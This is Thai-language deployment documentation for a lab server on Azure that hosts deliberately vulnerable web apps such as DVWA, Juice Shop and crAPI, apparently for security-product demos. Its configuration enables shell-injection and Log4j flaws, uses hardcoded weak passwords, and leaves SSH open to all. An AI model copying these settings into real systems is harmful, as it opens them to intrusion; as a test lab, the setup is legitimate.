- หน้าแรก
- เซิร์ฟเวอร์ต้นทาง
- ปรับใช้งาน
ปรับใช้งาน
ไฟล์ Terraform ทั้งหมดอยู่ในไดเรกทอรี terraform/ โคลน repository และปรับใช้งานได้โดยตรง:
git clone https://github.com/f5-sales-demo/origin-server.gitcd origin-server/terraformcp terraform.tfvars.example terraform.tfvars# Edit terraform.tfvars with your Azure subscription ID and SSH key pathการกำหนดค่า Terraform
หัวข้อที่มีชื่อว่า “การกำหนดค่า Terraform”โครงสร้างไฟล์ Terraform
หัวข้อที่มีชื่อว่า “โครงสร้างไฟล์ Terraform”ไดเรกทอรี terraform ประกอบด้วย 9 ไฟล์ตามมาตรฐาน Demo Resource Standard:
versions.tf— ข้อจำกัดเวอร์ชัน Terraform และ provider (azurerm ~> 4.0, azuread ~> 3.0)providers.tf— การกำหนดค่า provider สำหรับ Azure RM และ Azure ADdata.tf— แหล่งข้อมูล Azure AD สำหรับการแก้ไข deployer อัตโนมัติlocals.tf— การแก้ไข deployer, การตั้งชื่อทรัพยากรตาม Azure Cloud Adoption Framework, แท็กมาตรฐานmain.tf— กลุ่มทรัพยากร (ชื่อrg-origin-server-{environment}-{deployer})variables.tf— ตัวแปรอินพุตทั้งหมด (บังคับ 1 รายการ, ไม่บังคับ 8 รายการ)network.tf— VNet (10.200.0.0/16), subnet, IP สาธารณะ, NSG (พอร์ต 22/80/443/8888), NICvm.tf— VM Ubuntu 24.04 พร้อม cloud-init ผ่าน templatefile()outputs.tf— เอาต์พุต 25 รายการ (มาตรฐาน 15 รายการ + URL แอปพลิเคชันเฉพาะส่วนประกอบ 10 รายการ)
main.tf ประกอบด้วยเฉพาะกลุ่มทรัพยากร:
resource "azurerm_resource_group" "main" { name = local.name.resource_group location = var.location tags = local.tags}variables.tf กำหนดพารามิเตอร์ที่กำหนดค่าได้ทั้งหมด ตัวระบุ deployer จะถูกแก้ไขอัตโนมัติจากบัญชี Azure AD ของคุณ — คุณต้องตั้งค่าเฉพาะ subscription_id เท่านั้น ค่าเริ่มต้น vm_size คือ Standard_D16s_v3 (16 vCPU, 64 GiB RAM) ซึ่งปรับขนาดสำหรับ Docker container 41 ตัว:
# ---------------------------------------------------------# General# ---------------------------------------------------------
variable "subscription_id" { description = "Azure subscription ID" type = string}
variable "deployer" { description = "Override for deployer identifier (auto-resolved from Azure AD if empty). Required for service principal or managed identity authentication." type = string default = ""}
variable "location" { description = "Azure region for all resources" type = string default = "eastus2"}
variable "environment" { description = "Environment label used in resource group naming and tags" type = string default = "lab"}
variable "tags" { description = "Additional tags merged with standard tags (component, environment, deployer, managed_by)" type = map(string) default = {}}
# ---------------------------------------------------------# Compute# ---------------------------------------------------------
variable "vm_size" { description = "Azure VM size (Standard_D16s_v3: 16 vCPU, 64 GiB RAM for Docker workloads)" type = string default = "Standard_D16s_v3"}
variable "admin_username" { description = "SSH admin username for the VM" type = string default = "azureuser"}
variable "ssh_public_key_path" { description = "Path to the SSH public key file" type = string default = "~/.ssh/id_ed25519.pub"}
variable "disk_size_gb" { description = "OS disk size in GB" type = number default = 60}โครงสร้างพื้นฐานเครือข่าย
หัวข้อที่มีชื่อว่า “โครงสร้างพื้นฐานเครือข่าย”network.tf สร้าง VNet, subnet, IP สาธารณะ, NSG (พอร์ต 22/80/443/8888), และ NIC พอร์ต 8888 จำเป็นสำหรับ crAPI ซึ่งทำงานบนพอร์ตเฉพาะ:
resource "azurerm_virtual_network" "main" { name = local.name.virtual_network address_space = ["10.200.0.0/16"] location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
tags = azurerm_resource_group.main.tags}
resource "azurerm_subnet" "main" { #checkov:skip=CKV2_AZURE_31:Lab subnet - NSG associated at NIC level name = local.name.subnet resource_group_name = azurerm_resource_group.main.name virtual_network_name = azurerm_virtual_network.main.name address_prefixes = ["10.200.1.0/24"]}
resource "azurerm_public_ip" "main" { name = local.name.public_ip location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name allocation_method = "Static" sku = "Standard"
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_security_group" "main" { #checkov:skip=CKV_AZURE_10:Lab NSG - SSH open for demo access #checkov:skip=CKV_AZURE_160:Lab NSG - HTTP port 80 required for traffic #checkov:skip=CKV_AZURE_220:Lab NSG - SSH open for demo access name = local.name.nsg location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
security_rule { name = "AllowHTTP" priority = 100 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "80" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowHTTPS" priority = 110 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "443" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowSSH" priority = 120 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "22" source_address_prefix = "*" destination_address_prefix = "*" }
security_rule { name = "AllowCrAPI" priority = 130 direction = "Inbound" access = "Allow" protocol = "Tcp" source_port_range = "*" destination_port_range = "8888" source_address_prefix = "*" destination_address_prefix = "*" }
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_interface" "main" { #checkov:skip=CKV_AZURE_119:Lab NIC - public IP required for demo access name = local.name.network_interface location = azurerm_resource_group.main.location resource_group_name = azurerm_resource_group.main.name
ip_configuration { name = "internal" subnet_id = azurerm_subnet.main.id private_ip_address_allocation = "Dynamic" public_ip_address_id = azurerm_public_ip.main.id }
tags = azurerm_resource_group.main.tags}
resource "azurerm_network_interface_security_group_association" "main" { network_interface_id = azurerm_network_interface.main.id network_security_group_id = azurerm_network_security_group.main.id}เครื่องเสมือนพร้อม Cloud-Init
หัวข้อที่มีชื่อว่า “เครื่องเสมือนพร้อม Cloud-Init”vm.tf สร้าง VM Ubuntu 24.04 และส่งสคริปต์การจัดเตรียม cloud-init Premium SSD ขนาด 60 GiB ให้พื้นที่เพียงพอสำหรับ Docker image และ container volume:
resource "azurerm_linux_virtual_machine" "main" { #checkov:skip=CKV_AZURE_50:Lab VM - no extensions required #checkov:skip=CKV_AZURE_93:Lab VM - platform-managed encryption sufficient name = local.name.virtual_machine resource_group_name = azurerm_resource_group.main.name location = azurerm_resource_group.main.location size = var.vm_size
admin_username = var.admin_username disable_password_authentication = true
admin_ssh_key { username = var.admin_username public_key = file(pathexpand(var.ssh_public_key_path)) }
network_interface_ids = [azurerm_network_interface.main.id]
os_disk { caching = "ReadWrite" storage_account_type = "Premium_LRS" disk_size_gb = var.disk_size_gb }
source_image_reference { publisher = "Canonical" offer = "ubuntu-24_04-lts" sku = "server" version = "latest" }
custom_data = base64encode(templatefile("${path.module}/cloud-init.yaml", {}))
tags = azurerm_resource_group.main.tags}การจัดเตรียม Cloud-Init
หัวข้อที่มีชื่อว่า “การจัดเตรียม Cloud-Init”cloud-init.yaml จัดเตรียม VM ด้วยการกำหนดค่าแบบเสริมความแข็งแกร่ง ไลบรารีตัวช่วยที่ใช้ร่วมกัน (/usr/local/lib/cloud-init-helpers.sh) ให้ตรรกะการลองซ้ำสำหรับการดำเนินการเครือข่ายทั้งหมด และบันทึกความคืบหน้าไปยัง /var/log/cloud-init-progress.log การสำรวจตรวจสุขภาพแบบ active แทนที่การรอแบบมีระยะเวลาคงที่สำหรับความพร้อมของ container ระบบจัดเตรียม:
- การปรับแต่ง Kernel: TCP keepalive, การนำ TIME_WAIT กลับมาใช้, 2M tw_buckets, 64K somaxconn
- nginx: บล็อก upstream 8 บล็อกพร้อม sticky session (ip_hash, cookie hash), keepalive pool (64—128), proxy cache สำหรับ Juice Shop, ระดับ error_log เป็น crit
- Docker Compose: 41 container ใน 9 แอปพลิเคชัน พร้อมขีดจำกัด CPU/memory ต่อ container
- Custom build: DVWA-FPM (php-fpm with pm.max_requests=200), CSD Demo (Flask + gunicorn), RESTaurant (โคลนจาก GitHub)
- Worker recycling: uvicorn —limit-max-requests 200 (RESTaurant), pm.max_requests 200 (DVWA-FPM) เพื่อป้องกันการรั่วไหลของหน่วยความจำภายใต้โหลดต่อเนื่อง
#cloud-configpackage_update: truepackage_upgrade: true
bootcmd: - mkdir -p /var/cache/nginx/juice_shop - chown www-data:www-data /var/cache/nginx/juice_shop 2>/dev/null || true
packages: - ca-certificates - curl - gnupg - nginx - sysstat - htop - iotop - dool - iftop
write_files: - path: /etc/sysctl.d/99-origin-server.conf content: | # Origin server performance tuning for concurrent web traffic net.core.somaxconn = 65535 net.ipv4.tcp_max_syn_backlog = 65535 net.core.netdev_max_backlog = 65535 net.ipv4.ip_local_port_range = 1024 65535 net.ipv4.tcp_tw_reuse = 1 net.ipv4.tcp_fin_timeout = 10 net.ipv4.tcp_keepalive_time = 60 net.ipv4.tcp_keepalive_intvl = 10 net.ipv4.tcp_keepalive_probes = 6 net.ipv4.tcp_max_tw_buckets = 2000000 net.ipv4.tcp_syncookies = 1 net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 net.ipv4.tcp_rmem = 4096 87380 16777216 net.ipv4.tcp_wmem = 4096 65536 16777216
- path: /etc/nginx/nginx.conf content: | user www-data; worker_processes auto; worker_rlimit_nofile 65535; pid /run/nginx.pid; error_log /var/log/nginx/error.log crit; include /etc/nginx/modules-enabled/*.conf;
events { worker_connections 16384; multi_accept on; use epoll; }
http { sendfile on; tcp_nopush on; tcp_nodelay on; types_hash_max_size 2048; server_tokens off;
include /etc/nginx/mime.types; default_type application/octet-stream;
keepalive_timeout 65; keepalive_requests 1000; client_body_timeout 10; client_header_timeout 10; send_timeout 10; reset_timedout_connection on;
proxy_buffer_size 32k; proxy_buffers 16 32k; proxy_busy_buffers_size 64k; proxy_connect_timeout 5; proxy_read_timeout 30; proxy_send_timeout 10;
access_log off;
gzip on; gzip_vary on; gzip_proxied any; gzip_comp_level 4; gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
proxy_cache_path /var/cache/nginx/juice_shop levels=1:2 keys_zone=juice_cache:10m max_size=100m inactive=5m use_temp_path=off; upstream juice_shop { server 127.0.0.1:3001 max_fails=3 fail_timeout=10s; server 127.0.0.1:3002 max_fails=3 fail_timeout=10s; server 127.0.0.1:3003 max_fails=3 fail_timeout=10s; server 127.0.0.1:3004 max_fails=3 fail_timeout=10s; hash $cookie_token consistent; keepalive 64; }
upstream dvwa { server 127.0.0.1:8101 max_fails=3 fail_timeout=10s; server 127.0.0.1:8102 max_fails=3 fail_timeout=10s; server 127.0.0.1:8103 max_fails=3 fail_timeout=10s; server 127.0.0.1:8104 max_fails=3 fail_timeout=10s; hash $cookie_PHPSESSID consistent; keepalive 128; }
upstream vampi { server 127.0.0.1:5101 max_fails=3 fail_timeout=10s; server 127.0.0.1:5102 max_fails=3 fail_timeout=10s; server 127.0.0.1:5103 max_fails=3 fail_timeout=10s; server 127.0.0.1:5104 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream httpbin_up { server 127.0.0.1:8201 max_fails=3 fail_timeout=10s; server 127.0.0.1:8202 max_fails=3 fail_timeout=10s; server 127.0.0.1:8203 max_fails=3 fail_timeout=10s; server 127.0.0.1:8204 max_fails=3 fail_timeout=10s; keepalive 128; }
upstream whoami_up { server 127.0.0.1:8082 max_fails=3 fail_timeout=10s; server 127.0.0.1:8083 max_fails=3 fail_timeout=10s; server 127.0.0.1:8084 max_fails=3 fail_timeout=10s; server 127.0.0.1:8085 max_fails=3 fail_timeout=10s; keepalive 128; } upstream csd_demo { server 127.0.0.1:5001 max_fails=3 fail_timeout=10s; server 127.0.0.1:5002 max_fails=3 fail_timeout=10s; server 127.0.0.1:5003 max_fails=3 fail_timeout=10s; server 127.0.0.1:5004 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream dvga_graphql { server 127.0.0.1:5201 max_fails=3 fail_timeout=10s; server 127.0.0.1:5202 max_fails=3 fail_timeout=10s; server 127.0.0.1:5203 max_fails=3 fail_timeout=10s; server 127.0.0.1:5204 max_fails=3 fail_timeout=10s; ip_hash; keepalive 128; }
upstream restaurant { server 127.0.0.1:8301 max_fails=3 fail_timeout=10s; server 127.0.0.1:8302 max_fails=3 fail_timeout=10s; server 127.0.0.1:8303 max_fails=3 fail_timeout=10s; server 127.0.0.1:8304 max_fails=3 fail_timeout=10s; keepalive 128; }
include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; }
- path: /etc/systemd/system/nginx.service.d/limits.conf content: | [Service] LimitNOFILE=65535 LimitNOFILESoft=65535
- path: /etc/logrotate.d/nginx-origin content: | /var/log/nginx/*.log { daily rotate 7 size 500M compress delaycompress missingok notifempty sharedscripts postrotate nginx -s reopen endscript }
- path: /etc/systemd/journald.conf.d/origin-server.conf content: | [Journal] SystemMaxUse=200M RuntimeMaxUse=50M
- path: /opt/origin-server/docker-compose.yml content: | services: juice-shop-1: image: bkimminich/juice-shop:latest container_name: juice-shop-1 restart: unless-stopped ports: - "127.0.0.1:3001:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-2: image: bkimminich/juice-shop:latest container_name: juice-shop-2 restart: unless-stopped ports: - "127.0.0.1:3002:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-3: image: bkimminich/juice-shop:latest container_name: juice-shop-3 restart: unless-stopped ports: - "127.0.0.1:3003:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
juice-shop-4: image: bkimminich/juice-shop:latest container_name: juice-shop-4 restart: unless-stopped ports: - "127.0.0.1:3004:3000" environment: - NODE_ENV=ctf deploy: resources: limits: cpus: "1.0" memory: 1024M
dvwa-1: build: ./dvwa-fpm/ container_name: dvwa-1 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8101:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-2: build: ./dvwa-fpm/ container_name: dvwa-2 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8102:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-3: build: ./dvwa-fpm/ container_name: dvwa-3 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8103:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-4: build: ./dvwa-fpm/ container_name: dvwa-4 restart: unless-stopped depends_on: - dvwa-db ports: - "127.0.0.1:8104:80" environment: - DB_SERVER=dvwa-db - DB_DATABASE=dvwa - DB_USER=dvwa - DB_PASSWORD=p@ssw0rd deploy: resources: limits: cpus: "0.5" memory: 512M
dvwa-db: image: mariadb:10.11 container_name: dvwa-db restart: unless-stopped environment: - MYSQL_ROOT_PASSWORD=root_password - MYSQL_DATABASE=dvwa - MYSQL_USER=dvwa - MYSQL_PASSWORD=p@ssw0rd - MARIADB_INNODB_BUFFER_POOL_SIZE=256M - MARIADB_MAX_CONNECTIONS=400 - MARIADB_INNODB_LOG_FILE_SIZE=100M volumes: - dvwa-db-data:/var/lib/mysql deploy: resources: limits: cpus: "1.0" memory: 768M
vampi-1: image: erev0s/vampi:latest container_name: vampi-1 restart: unless-stopped ports: - "127.0.0.1:5101:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-2: image: erev0s/vampi:latest container_name: vampi-2 restart: unless-stopped ports: - "127.0.0.1:5102:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-3: image: erev0s/vampi:latest container_name: vampi-3 restart: unless-stopped ports: - "127.0.0.1:5103:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
vampi-4: image: erev0s/vampi:latest container_name: vampi-4 restart: unless-stopped ports: - "127.0.0.1:5104:5000" entrypoint: ["/bin/sh", "/vampi/entrypoint.sh"] volumes: - ./vampi-gunicorn.sh:/vampi/entrypoint.sh:ro deploy: resources: limits: cpus: "0.5" memory: 512M
httpbin-1: image: kennethreitz/httpbin:latest container_name: httpbin-1 restart: unless-stopped ports: - "127.0.0.1:8201:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-2: image: kennethreitz/httpbin:latest container_name: httpbin-2 restart: unless-stopped ports: - "127.0.0.1:8202:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-3: image: kennethreitz/httpbin:latest container_name: httpbin-3 restart: unless-stopped ports: - "127.0.0.1:8203:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
httpbin-4: image: kennethreitz/httpbin:latest container_name: httpbin-4 restart: unless-stopped ports: - "127.0.0.1:8204:80" command: ["gunicorn", "-b", "0.0.0.0:80", "httpbin:app", "-k", "gevent", "-w", "4", "--timeout", "30"] deploy: resources: limits: cpus: "1.0" memory: 256M
whoami-1: image: traefik/whoami:latest container_name: whoami-1 restart: unless-stopped ports: - "127.0.0.1:8082:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-2: image: traefik/whoami:latest container_name: whoami-2 restart: unless-stopped ports: - "127.0.0.1:8083:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-3: image: traefik/whoami:latest container_name: whoami-3 restart: unless-stopped ports: - "127.0.0.1:8084:80" deploy: resources: limits: cpus: "0.25" memory: 64M
whoami-4: image: traefik/whoami:latest container_name: whoami-4 restart: unless-stopped ports: - "127.0.0.1:8085:80" deploy: resources: limits: cpus: "0.25" memory: 64M
csd-demo-1: build: ./csd-demo/ container_name: csd-demo-1 restart: unless-stopped ports: - "127.0.0.1:5001:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-2: build: ./csd-demo/ container_name: csd-demo-2 restart: unless-stopped ports: - "127.0.0.1:5002:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-3: build: ./csd-demo/ container_name: csd-demo-3 restart: unless-stopped ports: - "127.0.0.1:5003:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
csd-demo-4: build: ./csd-demo/ container_name: csd-demo-4 restart: unless-stopped ports: - "127.0.0.1:5004:5001" deploy: resources: limits: cpus: "0.5" memory: 256M
dvga-1: image: dolevf/dvga:latest container_name: dvga-1 restart: unless-stopped ports: - "127.0.0.1:5201:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-2: image: dolevf/dvga:latest container_name: dvga-2 restart: unless-stopped ports: - "127.0.0.1:5202:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-3: image: dolevf/dvga:latest container_name: dvga-3 restart: unless-stopped ports: - "127.0.0.1:5203:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
dvga-4: image: dolevf/dvga:latest container_name: dvga-4 restart: unless-stopped ports: - "127.0.0.1:5204:5013" environment: - WEB_HOST=0.0.0.0 deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-db: image: postgres:15.4-alpine container_name: restaurant-db restart: unless-stopped environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_DB=restaurant - PGDATA=/var/lib/postgresql/data/pgdata volumes: - restaurant-db-data:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready -U admin -d restaurant"] interval: 5s timeout: 5s retries: 10 deploy: resources: limits: cpus: "0.5" memory: 512M
restaurant-1: build: ./restaurant/ container_name: restaurant-1 restart: unless-stopped ports: - "127.0.0.1:8301:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-2: build: ./restaurant/ container_name: restaurant-2 restart: unless-stopped ports: - "127.0.0.1:8302:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-3: build: ./restaurant/ container_name: restaurant-3 restart: unless-stopped ports: - "127.0.0.1:8303:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
restaurant-4: build: ./restaurant/ container_name: restaurant-4 restart: unless-stopped ports: - "127.0.0.1:8304:8091" command: ["sh", "-c", "alembic upgrade head && uvicorn main:app --host 0.0.0.0 --port 8091 --root-path /restaurant --limit-max-requests 200"] environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=password - POSTGRES_SERVER=restaurant-db - POSTGRES_PORT=5432 - POSTGRES_DB=restaurant depends_on: restaurant-db: condition: service_healthy cap_add: - SYS_ADMIN deploy: resources: limits: cpus: "0.5" memory: 384M
crapi-web: image: crapi/crapi-web:latest container_name: crapi-web restart: unless-stopped ports: - "127.0.0.1:18888:80" environment: - COMMUNITY_SERVICE=crapi-community:8087 - IDENTITY_SERVICE=crapi-identity:8080 - WORKSHOP_SERVICE=crapi-workshop:8000 - CHATBOT_SERVICE=crapi-identity:8080 - MAILHOG_WEB_SERVICE=crapi-mailhog:8025 - TLS_ENABLED=false depends_on: crapi-identity: condition: service_healthy crapi-community: condition: service_healthy crapi-workshop: condition: service_healthy healthcheck: test: ["CMD", "curl", "-f", "http://0.0.0.0:80/health"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.3" memory: 128M
crapi-identity: image: crapi/crapi-identity:latest container_name: crapi-identity restart: unless-stopped environment: - LOG_LEVEL=INFO - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8080 - ENABLE_SHELL_INJECTION=true - JWT_SECRET=crapi - JWT_EXPIRATION=604800000 - MAILHOG_HOST=crapi-mailhog - MAILHOG_PORT=1025 - MAILHOG_DOMAIN=example.com - SMTP_HOST=crapi-mailhog - SMTP_PORT=1025 - SMTP_EMAIL=user@example.com - SMTP_PASS=xxxxxxxxxxxxxx - SMTP_FROM=no-reply@example.com - SMTP_AUTH=false - SMTP_STARTTLS=false - ENABLE_LOG4J=true - API_GATEWAY_URL=https://api.mypremiumdealership.com - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - TLS_ENABLED=false depends_on: crapi-postgres: condition: service_healthy crapi-mongo: condition: service_healthy crapi-mailhog: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.8" memory: 1024M
crapi-community: image: crapi/crapi-community:latest container_name: crapi-community restart: unless-stopped environment: - LOG_LEVEL=INFO - IDENTITY_SERVICE=crapi-identity:8080 - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8087 - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - TLS_ENABLED=false depends_on: crapi-mongo: condition: service_healthy crapi-identity: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "0.3" memory: 192M
crapi-workshop: image: crapi/crapi-workshop:latest container_name: crapi-workshop restart: unless-stopped environment: - LOG_LEVEL=INFO - IDENTITY_SERVICE=crapi-identity:8080 - DB_NAME=crapi - DB_USER=admin - DB_PASSWORD=crapisecretpassword - DB_HOST=crapi-postgres - DB_PORT=5432 - SERVER_PORT=8000 - MONGO_DB_HOST=crapi-mongo - MONGO_DB_PORT=27017 - MONGO_DB_USER=admin - MONGO_DB_PASSWORD=crapisecretpassword - MONGO_DB_NAME=crapi - SECRET_KEY=crapi - API_GATEWAY_URL=https://api.mypremiumdealership.com - TLS_ENABLED=false - FILES_LIMIT=1000 - GUNICORN_WORKERS=4 depends_on: crapi-postgres: condition: service_healthy crapi-mongo: condition: service_healthy crapi-identity: condition: service_healthy crapi-community: condition: service_healthy healthcheck: test: ["CMD", "/app/health.sh"] interval: 15s timeout: 15s retries: 15 deploy: resources: limits: cpus: "1.0" memory: 512M
crapi-postgres: image: postgres:14 container_name: crapi-postgres restart: unless-stopped environment: - POSTGRES_USER=admin - POSTGRES_PASSWORD=crapisecretpassword - POSTGRES_DB=crapi volumes: - crapi-postgres-data:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready"] interval: 15s timeout: 15s retries: 10 deploy: resources: limits: cpus: "0.5" memory: 256M
crapi-mongo: image: mongo:4.4 container_name: crapi-mongo restart: unless-stopped environment: - MONGO_INITDB_ROOT_USERNAME=admin - MONGO_INITDB_ROOT_PASSWORD=crapisecretpassword volumes: - crapi-mongo-data:/data/db healthcheck: test: ["CMD", "mongo", "--eval", "db.runCommand(\"ping\").ok", "--quiet"] interval: 15s timeout: 15s retries: 10 start_period: 20s deploy: resources: limits: cpus: "0.3" memory: 256M
crapi-mailhog: image: crapi/mailhog:latest container_name: crapi-mailhog restart: unless-stopped ports: - "127.0.0.1:18025:8025" environment: - MH_MONGO_URI=admin:crapisecretpassword@crapi-mongo:27017 - MH_STORAGE=mongodb depends_on: crapi-mongo: condition: service_healthy healthcheck: test: ["CMD", "nc", "-z", "localhost", "8025"] interval: 15s timeout: 15s retries: 10 deploy: resources: limits: cpus: "0.3" memory: 128M
volumes: dvwa-db-data: restaurant-db-data: crapi-postgres-data: crapi-mongo-data:
- path: /etc/nginx/sites-available/origin-server content: | server { listen 80 reuseport backlog=4096; server_name _;
location /health { access_log off; return 200 '{ "status":"healthy","component":"origin-server","applications":["juice-shop","dvwa","vampi","httpbin","whoami","csd-demo","dvga","restaurant","crapi"] }' ; add_header Content-Type application/json; }
location / { root /var/www/html; index index.html; }
location /juice-shop/ { proxy_pass http://juice_shop/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Forwarded-Prefix /juice-shop; proxy_cache juice_cache; proxy_cache_valid 200 60s; proxy_cache_key "$request_uri"; add_header X-Cache-Status $upstream_cache_status; }
location /dvwa/ { proxy_pass http://dvwa/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /vampi/ { proxy_pass http://vampi/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /httpbin/ { proxy_pass http://httpbin_up/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /whoami/ { proxy_pass http://whoami_up/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /csd-demo/ { proxy_pass http://csd_demo/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
location /dvga/ { proxy_pass http://dvga_graphql/; proxy_http_version 1.1; proxy_set_header Connection ""; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; }
